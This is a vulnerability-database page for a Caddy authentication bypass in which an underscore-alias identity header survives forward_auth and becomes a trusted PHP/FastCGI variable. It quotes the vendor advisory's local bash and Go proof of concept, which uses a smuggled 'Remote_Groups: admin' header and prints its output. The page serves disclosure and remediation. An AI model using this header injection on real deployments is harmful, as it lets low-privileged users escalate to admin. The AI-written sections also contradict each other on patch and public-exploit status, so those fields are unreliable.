Skip to main content

Caddy CVE-2026-52845

| EUVDEUVD-2026-38558 HIGH
Improper Authentication (CWE-287)
2026-06-16 https://github.com/caddyserver/caddy GHSA-f59h-q822-g45g
8.1
CVSS 3.1 · Vendor: https://github.com/caddyserver/caddy
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to forward_auth gateway
  2. Delivery
    Craft request with underscore-alias identity header (Remote_Groups: admin)
  3. Exploit
    Send through Caddy forward_auth (Del misses underscore variant)
  4. Execution
    php_fastcgi normalizes hyphen and underscore to same HTTP_REMOTE_GROUPS
  5. Persist
    PHP app trusts injected group
  6. Impact
    Escalate to administrative actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Authentication mechanism validation
MITRE ATT&CK

2 techniques across 2 tactics: Defense Evasion, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the Caddy site to use forward_auth with copy_headers configured for identity headers (e.g., Remote-User, Remote-Groups, X-Authentik-Username) AND chain into php_fastcgi or another FastCGI handler that exports HTTP_* CGI variables, AND for the downstream PHP/FastCGI application to trust those CGI variables for authentication or authorization (trusted-header SSO pattern, as used by Firefly III remote_user_guard or MediaWiki Auth_remoteuser). The attacker must be able to reach the Caddy-fronted endpoint over the network and pass the forward_auth gateway's own checks (CVSS PR:L), but no special platform, MFA bypass, or non-default Caddy build is needed - the underscore-alias header is accepted by default HTTP parsing. Deployments that use forward_auth without php_fastcgi, or php_fastcgi without trusted-header identity, are not exploitable via this bug.

Impact

The CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N vector and 8.1 base score reflect a network-reachable, low-complexity bug that requires only a valid authenticated session at the auth gateway (PR:L) to abuse trusted headers, with high confidentiality and integrity impact and no availability impact. PR:L is debatable: the underscore-alias bypass itself does not require authentication to send, but practical impact (impersonating users, escalating to admin) depends on a valid forward_auth session being established, so PR:L is reasonable. EPSS and CISA KEV data are not provided in the input, so exploitation probability and active-exploitation status cannot be quantified beyond what the GHSA PoC demonstrates: publicly available exploit code exists. Real-world risk is concentrated in deployments combining forward_auth copy_headers with php_fastcgi behind a trusted-header SSO consumer; deployments that do not chain these specific modules are unaffected. This is a real priority for affected stacks (deterministic group injection allows admin role escalation when the gateway omits an optional header), not a high-CVSS-but-low-impact issue - but exposure is narrower than the CVSS suggests because it requires a specific configuration pattern.

Exploit ScenarioDerived

An attacker browses to a Caddy-fronted PHP application (e.g., a Firefly III or MediaWiki instance protected by an Authelia/authentik forward_auth gateway) and authenticates as a low-privileged user. They then resend any request with an extra header such as 'Remote_Groups: admin' (underscore instead of hyphen); forward_auth's exact-name Del() leaves it intact, the gateway returns only Remote-User, and php_fastcgi normalizes both to HTTP_REMOTE_GROUPS=admin, causing the backend to treat the user as an administrator. The vendor advisory ships a working PoC, so weaponization cost is essentially zero for anyone with shell access to a curl-equivalent.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 16, 2026

Authentication header injection in Caddy versions prior to 2.11.4 allows remote attackers with low privileges to bypass forward_auth identity protections and inject or override trusted HTTP_REMOTE_* CGI variables in downstream PHP/FastCGI applications. The flaw arises because forward_auth's copy_headers directive performs exact-name deletion of client-supplied headers (e.g., Remote-Groups), while the php_fastcgi module later normalizes hyphens to underscores when exporting CGI variables, allowing an underscore alias like Remote_Groups to survive and collide with the trusted variable. Publicly available exploit code exists via the vendor GHSA advisory PoC, though no public exploit identified at time of analysis indicates active exploitation in the wild.

RemediationAI

Vendor-released patch: Caddy 2.11.4 - upgrade the github.com/caddyserver/caddy/v2 module to 2.11.4 or later per the GHSA advisory at https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g. For Caddy v1 (<= 1.0.5), no vendor-released patch is available, so migration to v2.11.4+ is the only durable fix. If immediate patching is not possible, a compensating control is to add an explicit headers/request_header directive that strips both hyphen and underscore variants of every sensitive identity header (e.g., Remote-User, Remote_User, Remote-Groups, Remote_Groups, X-Authentik-Username and its underscore alias) at the edge before forward_auth runs; this is reliable but requires enumerating every trusted header the backend consumes and updating the config whenever the SSO header set changes. As a secondary defense, configure the downstream PHP/FastCGI application to read identity from a fixed allowlisted source (e.g., a server-set $_SERVER variable populated by a known-good auth module) rather than trusting arbitrary HTTP_* variables. Avoid using php_fastcgi together with forward_auth copy_headers on unpatched versions.

Affected VersionsENISA

caddy < 2.11.4

Affected Packages

go github.com/caddyserver/caddy no fix
go github.com/caddyserver/caddy/v2 fix: 2.11.4
euvd caddy fix: 2.11.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Caddy is a popular Go-based web server with reverse proxy, automatic HTTPS, and FastCGI capabilities. The vulnerability lives at the intersection of two modules: modules/caddyhttp/reverseproxy/forwardauth (which implements trusted-header SSO patterns by copying identity headers like Remote-User from an auth gateway response) and modules/caddyhttp/reverseproxy/fastcgi (which marshals HTTP request headers into CGI environment variables per the FastCGI spec). The forward_auth code calls http.Header.Del() on attacker-controlled headers before overlaying the gateway response, but Del() does exact-name matching. The FastCGI marshaller uses strings.NewReplacer(" ", "_", "-", "_") to convert HTTP field names into HTTP_* CGI vars, meaning Remote-Groups and Remote_Groups both serialize to HTTP_REMOTE_GROUPS. The CWE-287 (Improper Authentication) classification reflects that downstream applications consuming these CGI variables - Firefly III remote_user_guard, MediaWiki Auth_remoteuser, and similar trusted-header SSO consumers - make authorization decisions on data the attacker controls. This is explicitly noted as distinct from GHSA-7r4p-vjf4-gxv4, which fixed the exact-name case; this issue is the same class of bug surfacing through FastCGI's name normalization.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/caddyserver/caddy) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
vuln.today AI 8.1 HIGH

Network-reachable HTTP header injection (AV:N/AC:L), requires a valid forward_auth session to weaponize against identity headers (PR:L), no user interaction; high C/I from impersonation and role injection, no availability impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE HIGH
Red Hat 8.1 HIGH

Primary rating from Vendor (https://github.com/caddyserver/caddy).

CVSS VectorVendor: https://github.com/caddyserver/caddy

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

text
Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

  • modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
  • modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

  • modules/caddyhttp/headers/headers.go:255
  • modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

  • modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
  • modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
  • modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

go
strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

bash
set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

text
> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

text
> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

text
"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

  • forward_auth with copy_headers for identity or authorization headers;
  • php_fastcgi / FastCGI after the auth check;
  • a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

  • deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
  • probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

Executive ViewAI

Why It Matters

Caddy reverse proxy versions prior to 2.11.4 contain an authentication header injection vulnerability in the forward_auth module that allows low-privilege attackers to forge trusted authentication headers to downstream PHP/FastCGI applications, directly compromising user identity verification and access control. Organizations relying on Caddy as an identity gateway face imminent unauthorized access risk to protected backend systems. Publicly available exploit code exists, making exploitation likely without immediate mitigation.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable forward_auth copy_headers directive to reduce attack surface; (2) Implement input validation in downstream PHP/FastCGI applications to reject unexpected CGI variables and their underscore-normalized aliases; (3) Deploy Web Application Firewall rules to detect and block header injection patterns targeting HTTP_REMOTE_* variables; (4) Restrict network and privilege-level access to Caddy instances to minimize attacker capability; (5) Enable detailed audit logging of CGI variable sources and values in backend applications to detect injection attempts; (6) Implement network segmentation isolating Caddy-protected backend systems from untrusted networks.

Threat Intelligence Overview

EPSS Score
0.2%
Top 90% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy